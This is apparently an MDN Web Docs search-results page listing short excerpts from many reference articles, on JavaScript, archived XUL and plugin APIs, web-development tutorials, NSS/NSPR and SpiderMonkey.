the symbol() function returns a value of type symbol, has static properties that expose several members of built-in objects, has static methods that expose the global symbol registry, and resembles a built-in object class, but is incomplete as a constructor because it does not support the syntax "new symbol()".
... a symbol value may be used as an identifier for object properties; this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or serving as an implementation-supported unique identifier in general.
... some further explanation about purpose and usage can be found in the glossary entry for symbol.
...And 9 more matches
TypedArray.prototype.filter() - JavaScript
syntax typedarray.filter(callback[, thisarg]) parameters callback function to test each element of the typed array.
... thisarg optional value to use as this when executing callback.
... description the filter() method calls a provided callback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value.
...And 9 more matches
TypedArray.prototype.find() - JavaScript
syntax typedarray.find(callback[, thisarg]) parameters callback function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
... array the array find was called upon.
...object to use as this when executing callback.
...And 9 more matches
Property accessors - JavaScript
syntax object.property object['property'] description one can think of an object as an associative array (a.k.a.
... it's typical when speaking of an object's properties to make a distinction between properties and methods.
...a method is simply a property that can be called (for example, if it has a reference to a function instance as its value).
...And 9 more matches
export - JavaScript
the export statement is used when creating javascript modules to export live bindings to functions, objects, or primitive values from the module so they can be used by other programs with the import statement.
... bindings that are exported can still be modified locally; when imported, although they can only be read by the importing module the value updates whenever it is updated by the exporting module.
...the export statement cannot be used in embedded scripts.
...And 9 more matches
function* - JavaScript
you can also define generator functions using the generatorfunction constructor, or the function expression syntax.
... description generators are functions that can be exited and later re-entered.
... generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with callbacks, such as callback hell and inversion of control.
...And 9 more matches
let - JavaScript
the let statement declares a block-scoped local variable, optionally initializing it to a value.
... description let allows you to declare variables that are limited to the scope of a block statement, or expression on which it is used, unlike the var keyword, which defines a variable globally, or locally to an entire function regardless of block scope.
... an explanation of why the name "let" was chosen can be found here.
...And 9 more matches
<math> - MathML
WebMathMLElementmath
in addition you must not nest a second <math> element in another, but you can have an arbitrary number of other child elements in it.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 9 more matches
url - Archive of obsolete content
this function will automatically attempt to resolve non-file protocols, such as the resource: protocol, to their place on the file system.
... an exception is raised if the url can't be converted; otherwise, the native file path is returned as a string.
... returns boolean : a boolean indicating whether or not the uri is valid.
...And 8 more matches
core/heritage - Archive of obsolete content
reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // defining a simple class function dog(name) { // classes are for creating instances, calling them without `new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate.
...ruff!' }; // subclassing a `dog` function pet(name, breed) { // once again we do our little dance if (!(this instanceof pet)) return new pet(name, breed); dog.call(this, name); this.breed = breed; } // to subclass, you need to make another special dance with special // 'prototype' properties.
...object.defineproperty(pet.prototype, 'constructor', { value: pet }); // finally you can define some properties.
...And 8 more matches
io/file - Archive of obsolete content
experimental provides access to the local filesystem.
... usage paths path specifications in this api are platform-specific.
... if your add-on uses literal windows-style path specifications with this api, your add-on likely won't work when users run it on unix-like systems.
...And 8 more matches
preferences/service - Archive of obsolete content
you can also use the simple-prefs module to access just the preferences for your own add-on and expose them to the user in the add-on manager.
... globals functions set(name, value) sets the application preference name to value.
... example: var name = "extensions.checkcompatibility.nightly"; require("sdk/preferences/service").set(name, false); get(name, defaultvalue) gets the application preference name.
...And 8 more matches
system/xul-app - Archive of obsolete content
experimental information about the application on which your add-on is running.
... globals functions is(name) checks whether the host application is the given application.
... parameters name : string a host application name.
...And 8 more matches
Chrome Authority - Archive of obsolete content
from this, the module can do pretty much anything the browser is capable of.
... components an alias for components itself (note the lower-case).
... from this you can access less-frequently-used properties like components.stack and components.issuccesscode.
...And 8 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior.
... the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, forms, or applets, this attribute specifies alternate text.
... in other words, alt text should only be displayed when a user agent cannot display the primary content of the element (e.g., a text-mode browser that cannot display images).
...And 8 more matches
Source Navigator - Archive of obsolete content
i hope i can finish it within one day or two if i have more time.
...with it, you can edit your source code, display relationships between classes and functions and members, and display call trees.
... you can also build your projects, either with your own makefile, or by using source-navigator's build system to automatically generate a makefile.
...And 8 more matches
Structure of an installable bundle - Archive of obsolete content
xulrunner applications, extensions, and themes all share a common directory structure, and in some cases the same bundle can be used as a standalone xulrunner application as well as an installable application extension.
... basic structure of a bundle a bundle may include any of the following files: path from the root of the bundle description version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap script for extensions not requiring a restart (those with <em:bootstrap>true</em:bootstrap> in their install.rdf).
...chrome.manifest, components, defaults) in bootstrapped extensions are not processed by a supporting application.
...And 8 more matches
Creating a Microsummary - Archive of obsolete content
web pages can reference generators via <link rel="microsummary"> elements in their <head> elements.
... generators can also be independently downloaded and installed by users if they include a list of pages to which they apply.
... in each step of revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily.
...And 8 more matches
Building Firefox with Rust code - Archive of obsolete content
please instead refer to the documentation found within the modern firefox build system documentation; specifically, the section called including rust code in firefox.
... if you have new rust libraries that code in libxul calls directly, then you should add the appropriate extern crate lines in toolkit/library/rust/shared/lib.rs, and add those libraries (crates) as dependencies in toolkit/library/rust/cargo.toml.
... if you want to call code in the "e10s" crate, you would add: extern crate e10s; to toolkit/library/rust/shared/lib.rs; you would also need to specify the path to that crate in the dependencies section of toolkit/library/rust/shared/cargo.toml: [dependencies] e10s = { path = "../../../../path/from/srcdir/e10s" } the e10s crate must also be checked into the tree at the appropriate path.
...And 8 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
this means that landing nanojit patches is a bit complicated, but experience has taught us that this is much better than having separate versions of nanojit.
... (note: this document is called nanojitmerge for historical reasons -- adobe and mozilla used to have separate copies of nanojit, but this was a maintenance headache so they were merged.
... [njn: it's possible that the other tm/tr public repo hasn't been updated from nanojit-central sufficiently recently, in which case the patch won't apply cleanly.
...And 8 more matches
PyDOM - Archive of obsolete content
this allows you to use python code (almost) anywhere you can use javascript.
...note that you can stick arbitrary values on any dom object - this is what js calls 'expandos'.
...let's say you have xul similar to pyxultest: top-level script code says something like: button = document.getelementbyid("some-button") button.foo = 0 and the button itself might look like: <button id="some-button" label="click here" onclick="event.target.foo += 1; print 'foo is now', event.target.foo"/> note that (a) we have stuck an arbitrary attribute on a dom element and (b) in all cases (e.g., event handler and top-level script), the dom node needs to be explicitly specified - the globals are the window itself.
...And 8 more matches
Supporting per-window private browsing - Archive of obsolete content
you can then take action based on this value, as any data or actions originating from this window should be considered private.
... } } catch(e) { // pre firefox 20 (if you do not have access to a doc.
... } } catch(e) { components.utils.reporterror(e); return; } } obtaining an nsiloadcontext for privacy-sensitive apis some apis (such as nsitransferable and nsiwebbrowserpersist) take nsiloadcontext arguments that are used to determine whether they should be classed as private or not (for example, whether the uri being persisted by saveuri should be added to the p...
...And 8 more matches
Tamarin Build System Documentation - Archive of obsolete content
where can i see the build system status?
... the waterfall page is located at http://tamarin-builds.mozilla.org/tamarin-redux/waterfall what builds are displayed on the build system status page?
... the set of smoke tests can contain any shell build and any test suite (including performance).
...And 8 more matches
Tooltips - Archive of obsolete content
for instance, moving the mouse over top of a toolbar button and waiting for a second can display a small popup label containing text describing the button's function.
... note that tooltips can only be activated using the mouse, so they should never contain important information that isn't available elsewhere.
... the tooltiptext attribute in most cases, the tooltip will display only a single label.
...And 8 more matches
Things I've tried to do with XUL - Archive of obsolete content
short answer: you can't easily, at least not yet.
... this means that creating any sort of visual display (not necessarily "ui"; my use case is for creating a calendar time display) that sizes sanely when the user resizes the window is unfortunately very difficult.
...e="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="background: green;"/> <box style="height: 20%" flex="1" style="background: green;"/> <box style="height: 50%" flex="1" style="background: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display visually for the empty boxes; however, flex only applies to how empty space is allocated.
...And 8 more matches
Additional Install Features - Archive of obsolete content
it provides some functions which can be used to examine and modify files on disk.
... you can use these to move, copy or delete files before or after the files are installed.
... finally, we call the file.copy function which copies the source file to the destination.
...And 8 more matches
Using Visual Studio as your XUL IDE - Archive of obsolete content
compared to a simple text-editor, visual studio gives you some special features when writing xul: intellisense / autocompletion for elements and attributes validation syntax coloring (okay, more sophisticated editors like notepad++ provide this as well) before you can use all of this, you have to adjust visual studio a little.
...setting the correct editor as xul files are nothing but xml, you can use the normal xml-editor for writing xul.
...as you are already there, you can do the same for "xbl".
...And 8 more matches
checkbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be turned on and off.
...the user can switch the state of the check box by selecting it with the mouse.
... checked type: boolean indicates whether the element is checked or not.
...And 8 more matches
key - Archive of obsolete content
ArchiveMozillaXULkey
to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>.
... disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 8 more matches
menuseparator - Archive of obsolete content
typically drawn as a thin line.
...ey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value examples <menu label="menu"> <menupopup> <menuitem label="item1"/> <menuseparator/> <menuitem label="item2"/> <menuitem label="item3"/> </menupopup> </menu> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
...And 8 more matches
radiogroup - Archive of obsolete content
only one radio button inside the group can be selected at a time.
...place the radiogroup inside a groupbox if you would like a border or caption for the group.
... the radiogroup defaults to vertical orientation.
...And 8 more matches
NPN_GetURLNotify - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary requests creation of a new stream with the contents of the specified url; gets notification of the result.
...can be of any type, such as http, ftp, news, or mailto.
... notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, which passes this value (see description below).
...And 8 more matches
NPN_MemAlloc - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary allocates memory from the browser's memory space.
... syntax #include <npapi.h> void *npn_memalloc (uint32 size); parameters the function has the following parameters: size size of memory, in bytes, to allocate in the browser's memory space.
... returns if successful, the function returns a pointer to the allocated memory, in bytes.
...And 8 more matches
NPP_Write - Archive of obsolete content
can be used to check stream progress or by range requests from npn_requestread.
...the buffer is allocated by the browser and is deleted after returning from the function, so the plug-in should make a copy of the data it needs to keep.
...if the return value is smaller than the size of the buffer, the browser sends the remaining data to the plug-in through subsequent calls to npp_writeready and npp_write.
...And 8 more matches
NPWindow - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary contains information about the target into which the plug-in instance can draw.
... syntax typedef struct _npwindow { void* window; /* platform specific handle */ uint32_t x; /* coordinates of top left corner */ uint32_t y; /* relative to a netscape page */ uint32_t width; /* maximum window size */ uint32_t height; nprect cliprect; /* clipping rectangle coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* window or drawable target */ } npwindow; fields the data structure has the following fields: window platform-specific handle to a native window element in the netscape window hierarchy on windows (hwnd) and unix (x window id).
... ws_info unix: contains information about the plug-in's unix window environment; points to an npsetwindowcallbackstruct.
...And 8 more matches
How RSS Works - Archive of obsolete content
you will not yet be creating your own rss files, but you will be learning about the different systems that come into play with rss syndication.
... how rss works there are two main components that come into play with rss syndication: the server end and the client end.
... the server end of rss syndication is the part of the system that produces the rss feed.
...And 8 more matches
CSS - Archive of obsolete content
ArchiveWebCSS
obsolete css features -moz-bindingthe -moz-binding css property is used by mozilla-based applications to attach an xbl binding to a dom element.-moz-border-bottom-colorsin mozilla applications like firefox, the -moz-border-bottom-colors css property sets a list of colors for the bottom border.-moz-border-left-colorsin mozilla applications like firefox, the -moz-border-left-colors css property sets a list of colors for the left border.-moz-border-right-colorsin mozilla applications like firefox, the -moz-border-right-colors css property sets a list of colors for the right border.-moz-border-top-colorsin mozilla applications like firefox, the -moz-border-top-colors css property sets a list of colors for the top border.-moz-stack-sizing-moz-stack-sizing is an extended css property.
...it only works on mac os x.-ms-acceleratorthe -ms-accelerator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut.-ms-block-progressionthe -ms-block-progression css property is a microsoft extension that specifies the block progression and layout orientation.-ms-content-zoom-chainingthe -ms-content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.-ms-conte...
...a microsoft extension that specifies the minimum zoom factor.-ms-content-zoom-snapthe -ms-content-zoom-snap css shorthand property is a microsoft extension that specifies values for the -ms-content-zoom-snap-type and -ms-content-zoom-snap-points properties.-ms-content-zoom-snap-pointsthe -ms-content-zoom-snap-points css property is a microsoft extension that specifies where zoom snap-points are located.-ms-content-zoom-snap-typethe -ms-content-zoom-snap-type css property is a microsoft extension that specifies how zooming is affected by defined snap-points.-ms-content-zoomingthe -ms-content-zooming css property is a microsoft extension that specifies whether zooming is enabled.-ms-filterthe -ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of fi...
...And 8 more matches
ActiveXObject - Archive of obsolete content
syntax let newobj = new activexobject(servername.typename[, location]) parameters servername the name of the application providing the object.
... location optional the name of the network server where the object is to be created.
...for example, a word-processing application may provide an application object, a document object, and a toolbar object.
...And 8 more matches
JSObject - Archive of obsolete content
summary the public final class netscape.javascript.jsobject extends object.
... java.lang.object | +----netscape.javascript.jsobject description javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java.
...when the jsobject is passed back to javascript, the object is unwrapped and can be used by javascript code.
...And 8 more matches
XForms Input Element - Archive of obsolete content
mozilla extensions labelposition - only for boolean types: show the label before or after the checkbox (see below) type restrictions the input element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these.
... representations the xforms input element can be represented by the following widgets for the spcified data types (or types derived from these data types): text field - the default widget when no type is specified or the data is of type xsd:string (xhtml/xul) checkbox - used for xsd:boolean instance data.
... (xhtml/xul) datepicker - used to represent data of type xsd:date (xhtml/xul) calendar - used to represent data of type xsd:date when appearance attribute also has the value 'full' (xhtml/xul) month list - used to represent data of type xsd:gmonth (xhtml only) days list - used to represent data of type xsd:gday (xhtml only) number field - used to represent data of numeric type (fx 3.0 only, xul only) more detail about each of these widgets follows below.
...And 8 more matches
Correctly Using Titles With External Stylesheets - Archive of obsolete content
this is because the title attribute on a <link rel="stylesheeet"> element makes it either preferred or an alternative style sheet.
... this can lead to a stylesheet being ignored, which is typically not what an author intends to do.
...in fact, the use of the title attribute is so significant that html 4.01 categorizes stylesheets according to the presence or absence of a title.
...And 8 more matches
Describing microformats in JavaScript - Archive of obsolete content
required an array indicating the names of any properties that must be specified.
... property specifications each property in the properties structure is specified by its name, and may include additional attributes if the property so requires.
... standard attributes are: plural a boolean value indicating that, if true indicates that the property can have multiple values.
...And 8 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
in version 4 browsers such as netscape navigator 4.x and internet explorer 4.x, tables generally "broke" the inheritance of font styling.
...this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases.
... fortunately, the behavior can be overcome in all cases with a single css2 rule.
...And 8 more matches
RDF in Fifty Words or Less - Archive of obsolete content
to a mozilla developer, it means that the rdf data model (the "graph") can be used as a mechanism for integrating and organizing internet resources.
...right now, most web browsers let you organize your bookmarks hierarchically intofolders.
... each bookmark is apointer to a web page called a uri (uniform resource identifier).
...And 8 more matches
WebVR — Virtual Reality for the Web - Game development
the concept of virtual reality in itself isn't new, but now we have the technology to have it working as it should be, and a javascript api to make use of it in web applications.
...there are many devices to chose from: desktop ones like oculus rift or htc vive, through consoles with playstation vr (which admittedly doesn't support webvr at this time), to mobile experiences like gear vr or google cardboard.
... the webvr api the webvr api is the central api for capturing information on vr devices connected to a computer and headset position/orientation/velocity/acceleration information, and converting that into useful data you can use in your games and other applications.
...And 8 more matches
Finishing up - Game development
« previous this is the 10th and final step of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson10.html.
...for example, we can offer more than one life to the player.
...And 8 more matches
Track the score and win - Game development
« previousnext » this is the 8th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson8.html.
... counting the score if you can see your score throughout the game, eventually you can impress your friends.
...And 8 more matches
Extra lives - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson13.html.
... we can make the game enjoyable for longer by adding lives.
... in this article we'll implement a lives system, so that the player can continue playing until they have lost three lives, not just one.
...And 8 more matches
Visual-js game engine - Game development
new link is : https://github.com/zlatnaspirala/visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not violate the basic rules.
... 3) please read the following terms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose.
... external licences in this project : webcam nui control is under : created by romuald quantin.
...And 8 more matches
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
hoisting is a term you will not find used in any normative specification prose prior to ecmascript® 2015 language specification.
... hoisting was thought up as a general way of thinking about how execution contexts (specifically the creation and execution phases) work in javascript.
... however, the concept can be a little confusing at first.
...And 8 more matches
CSS building blocks - Learn web development
this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
... this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more.
... cascade and inheritance the aim of this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved.
...And 8 more matches
What are browser developer tools? - Learn web development
if you can't see the develop menu, go to safari ➤ preferences ➤ advanced, and check the show develop menu in menu bar checkbox.
...forces element states to be toggled on, so you can see what their styling would look like.
...you can make any changes you'd like, but you cannot save your changes.
...And 8 more matches
Common questions - Learn web development
the internet is the backbone of the web, the technical infrastructure that makes the web possible.
... at its most basic, the internet is a massive network of computers communicating with each other.
... the term "web server" can refer to the hardware or software that serves websites to clients across the web — or both of them working together.
...And 8 more matches
Test your skills: Form validation - Learn web development
note: you can try out solutions locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... form validation 1 in this task, we are providing you with a simple support query form, and we want you to add some validation features to it: make all of the input fields mandatory to complete before the form can be submitted.
... all of the user names in our application consist of a single letter, followed by a dot, followed by three or more letters or numbers.
...And 8 more matches
Publishing your website - Learn web development
previous overview: getting started with the web next once you finish writing the code and organizing the files that make up your website, you need to put it all online so people can find it.
... publishing a website is a complex topic because there are many ways to go about it.
...instead, it explains the advantages and disadvantages of three approaches that are practical for beginners.
...And 8 more matches
Define terms with HTML - Learn web development
dictionaries and glossaries formally associate keywords with one or more descriptions, as in this case: blue (adjective) of a color like the sky in a sunny day.
... to deal with these use cases, html provides tags to mark descriptions and words described, so that your meaning gets across properly to your readers.
...bold itself is a concept foreign to html, but there are tags for indicating emphasis.
...And 8 more matches
Test your skills: Multimedia and embedding - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...the audio is called audio.mp3, and it is in a folder inside the current folder called media.
...the files are called video.mp4 and video.webm, and are in a folder inside the current folder called media.
...And 8 more matches
CSS performance optimization - Learn web development
the browser can paint the page once it has downloaded the css and built the css object model.
...to optimize the cssom construction, remove unnecessary styles, minify, compress and cache it, and split css not required at page load into additional files to reduce css render blocking.
... optimizing for render blocking css can scope styles to particular conditions with media queries.
...And 8 more matches
JavaScript performance - Learn web development
this article looks to introduce performance issues caused by scripts and introduces tips and tricks for optimizing javascript for web performance.
...but javascript can also consume the main thread, the cpu, and the battery.
... it can make the ui feel unresponsive or janky.
...And 8 more matches
Debugging Frame Reflow
general overview the frame reflow can be logged with the debug capabilities implemented in nsframe.cpp.
... on mac this is accomplished with: $ env dyld_library_path="`pwd`/obj-ff-dbg/dist/nightlydebug.app/contents/macos" \ ./obj-ff-dbg/dist/nightlydebug.app/contents/macos/firefox-bin > logfile.txt after loading your testcase, the log file will contain the promised information.
...> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> </head> <body> <table width="100"> <tbody> <tr> <td>foo</td> </tr> </tbody> </table> </body> </html> will create the following log: vp 00b97c30 r=0 a=9180,4470 c=9180,4470 cnt=856 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=857 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=858 canvas 00b97c6c r=0 a=9180,uc c=9180,4470 cnt=859 area 02d7afe4 r=0 a=9180,uc c=9180,uc cnt=860 text 02d7b150 r=0 a=9180,uc c=uc,uc cnt=861 text 02d7b150 d=0,0 block 02d7b210 r=0 a=9180,uc c=8940,uc cnt=862 block 02d7b210 d=8940,0 area 02d7afe4 d=9180,120 canvas 00b97c6c d=9180,4470 scroll 00b97ee0 d=9180,4470 scroll 00b97ee0 d=9180,4470 vp 00b97c30 d=9180,4470 vp 00b97c30 ...
...And 8 more matches
Simple SeaMonkey build
you can build a bleeding-edge, development version of seamonkey using the commands below.
... build prerequisites hardware requirements: the seamonkey build process is both i/o- and cpu-intensive, and can take a long time to build even on modern hardware.
...(for some mac os x versions, you will find it in a directory called "optional installs".) install macports.
...And 8 more matches
Process scripts
if you're using the addon sdk you can use the remote/parent module's remoterequire instead.
...however, a problem with frame scripts is that they can be loaded multiple times in the content process, in multiple scopes that are insulated from each other.
... for example, if you call the global frame message manager's loadframescript() function, then the script will be loaded separately into all open tabs.
...And 8 more matches
mozbrowserselectionstatechanged
note that this is deprecated, and current implementations should use mozbrowsercaretstatechanged instead.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 8 more matches
JavaScript Tips
don't call methods that you don't have to.
...you do not have to query interfaces to compare objects, nor to pass objects as parameters (this is different from c++, where you do have to query interfaces in both cases).
... don't call queryinterface unless you expect to succeed.
...And 8 more matches
OSFile.jsm
the file api is designed for high-level, highly-restricted manipulation of files by web applications.
...operations can take an arbitrary amount of time.
... if the operation is called on the main thread, this means that the whole user experience is stuck for several seconds, which is quite bad.
...And 8 more matches
JavaScript code modules
for example, a module could be used by firefox itself as well as by extensions, in order to avoid code duplication.
... mozilla labs js modules this page features a list of javascript modules, along with download links and documentation, that extension developers can use in their code.
... assert.jsm implements the commonjs unit testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.
...And 8 more matches
Mozilla Port Blocking
mozilla responded by modifying how protocols can access ports.
...each protocol's handler can override this blocking for itself in order to enable the required access for that protocol.
... potential problems caused by port blocking port blocking can cause problems if a site or web application requires access to one of the ports which is blocked in mozilla.
...And 8 more matches
tools/power/rapl
tools/power/rapl (or rapl for short) is a command-line utility in the mozilla tree that periodically reads and prints all available intel rapl power estimates.
... invocation first, do a standard build of firefox.
... mac on mac, rapl can be run as follows.
...And 8 more matches
I/O Functions
nspr converts the slashes in a pathname to the directory separator of the native os--for example, backslash (\) on windows and colon (:) on mac os--before passing it to the native system calls.
... two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating systems for higher performance.
...the only i/o operation you can perform on a pollable event is to poll it with the pr_poll_read flag.
...And 8 more matches
Named Shared Memory
shared memory allows multiple processes to access one or more common shared memory regions, using it as an interprocess communication channel.
... pr_attachsharedmemory should be called following pr_opensharedmemory to map the memory segment to an address in the application's address space.
... pr_attachsharedmemory may also be called to remap a shared memory segment after detaching the same prsharedmemory object.
...And 8 more matches
NSS 3.34 release notes
nss 3.34 requires netscape portable runtime (nspr) 4.17, or newer.
... nss 3.34 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_rtm/src/ notable changes in nss 3.34 the following ca certificates were added: cn = gdca trustauth r5 root sha-256 fingerprint: bf:ff:8f:d0:44:33:48:7d:6a:8a:a6:0c:1a:29:76:7a:9f:c2:bb:b0:5e:42:0f:71:3a:13:b9:92:89:1d:38:93 trust flags: websites cn = ssl.com root certification authority rsa sha-256 fingerprint: 85:66:6a:56:2e:e0:be:5c:e9:25:c1:d8:89:0a:6f:76:a8:7e:c1:6d:4d:7d:5f:29:ea:74:19:cf:20:12:3b:69 trust flags: websites, email cn = ssl.com root certification authority ecc sha-256 fingerprint: 34:17:bb:06:cc:60:07:da:1b:96:1c:92:...
...0b:8a:b4:ce:3f:ad:82:0e:4a:a3:0b:9a:cb:c4:a7:4e:bd:ce:bc:65 trust flags: websites, email cn = ssl.com ev root certification authority rsa r2 sha-256 fingerprint: 2e:7b:f1:6c:c2:24:85:a7:bb:e2:aa:86:96:75:07:61:b0:ae:39:be:3b:2f:e9:d0:cc:6d:4e:f7:34:91:42:5c trust flags: websites cn = ssl.com ev root certification authority ecc sha-256 fingerprint: 22:a2:c1:f7:bd:ed:70:4c:c1:e7:01:b5:f4:08:c3:10:88:0f:e9:56:b5:de:2a:4a:44:f9:9c:87:3a:25:a7:c8 trust flags: websites cn = trustcor rootcert ca-1 sha-256 fingerprint: d4:0e:9c:86:cd:8f:e4:68:c1:77:69:59:f4:9e:a7:74:fa:54:86:84:b6:c4:06:f3:90:92:61:f4:dc:e2:57:5c trust flags: websites, email cn = trustcor rootcert ca-2 sha-256 fingerprint: 07:...
...And 8 more matches
NSS 3.53 release notes
notable changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system.
... (bug 290526) seed is now moved into a new freebl directory freebl/deprecated (bug 1636389).
...at that time, users will need to set the compile-time flag (bug 1622033) to disable that deprecation in order to use the algorithm.
...And 8 more matches
Utilities for nss samples
these utility functions are adapted from those found in the sectool library used by the nss security tools and other nss test applications.
...if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... */ #ifndef _util_h #define _util_h #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include "util.h" #include <prprf.h> #include <prerror.h> #include <nss.h> #include <pk11func.h> /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications.
...And 8 more matches
nss tech note6
nss .chk files for the fips 140 mode nss technical note: 6 in nss 3.8, we added checksum files required for the nss softoken to operate in fips 140 mode.
... the new checksum file is called libsoftokn3.chk on unix/linux and softokn3.chk on windows.
... on 32-bit windows and 32-bit os/2, this shared library is called freebl3.dll, and the corresponding .chk file is called freebl3.chk .
...And 8 more matches
nss tech note7
rsa signing and encryption with nss nss technical note: 7 this technical note explains how to use nss to perform rsa signing and encryption.
... pk11symkey: a symmetric key (often called a session key), defined in "secmodt.h".
... the strength of an rsa key pair is measured by the size of its modulus because given the modulus and public exponent, the best known algorithm for computing the private exponent is to factor the modulus.
...And 8 more matches
NSPR functions
however, a small number of nspr functions are required for using the certificate verification and ssl functions in nss.
...nspr initialization and shutdown nspr is automatically initialized by the first nspr function called by the application.
... call pr_cleanup to shut down nspr and clean up its resources.
...And 8 more matches
NSS_Initialize
syntax secstatus nss_initialize(const char *configdir, const char *certprefix, const char *keyprefix, const char *secmodname, pruint32 flags); parameters nss_initialize has five parameters: configdir [in] the directory where the certificate, key, and module databases live.
...certprefix [in] prefix added to the beginning of the certificate database, for example, "https-server1-".
...if any of those simpler nss initialization functions suffices for your needs, call that instead.
...And 8 more matches
NSS environment variables
nss_shared_db 3.12 nss_disable_arena_free_list string (any non-empty value) define this variable to get accurate leak allocation stacks when using leak reporting software.
... nss_memory_allocation 3.4 nss_disable_unload string (any non-empty value) disable unloading of dynamically loaded nss shared libraries during shutdown.
...audit data 3.11.2 nss_enable_pkix_verify boolean (any non-empty value to enable) use libpkix, rather than the old cert library, to verify certificates.
...And 8 more matches
NSS tools : signver
MozillaProjectsNSStoolssignver
synopsis signtool -a | -v -d directory [-a] [-i input_file] [-o output_file] [-s signature_file] [-v] description the signature verification tool, signver, is a simple command-line utility that unpacks a base-64-encoded pkcs#7 signed object and verifies the digital signature using standard cryptographic techniques.
... the signature verification tool can also display the contents of the signed object.
... -d [sql:]directory specify the database directory which contains the certificates and keys.
...And 8 more matches
JSAutoByteString
in a js_threadsafe build, the caller must be in a request on this jscontext.
... str jsstring * a pointer to jsstring to get initial content by calling js_encodestring(cx, str).
... char *encodelatin1(jscontext *cx, jsstring *str) call js_encodestring and take ownership of the returned string, and return the string.
...And 8 more matches
JSDeletePropertyOp
in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
... the callback does not need to call js_beginrequest()).
... description jsdeletepropertyop callback is a hook that applications may install to be called at some point during property access.
...And 8 more matches
JS_InitClass
in a js_threadsafe build, the caller must be in a request on this jscontext.
... unlike other jsnatives, this function must not call js_this or js_this_object.
... ps jspropertyspec * either null or a pointer to the first element of an array of jspropertyspecs, terminated by the null jspropertyspec, which can be written {0, 0, 0, 0, 0}.
...And 8 more matches
JS_NewExternalString
in a js_threadsafe build, the caller must be in a request on this jscontext.
...the array must be populated with the desired character data before js_newexternalstring is called, and the array must remain in memory, with its contents unchanged, for as long as the javascript engine needs to hold on to it.
... (ultimately, the string will be garbage collected, and the javascript engine will call the string finalizer callback, allowing the application to free the array.) the array does not need to be zero-terminated.
...And 8 more matches
JS_NewGlobalObject
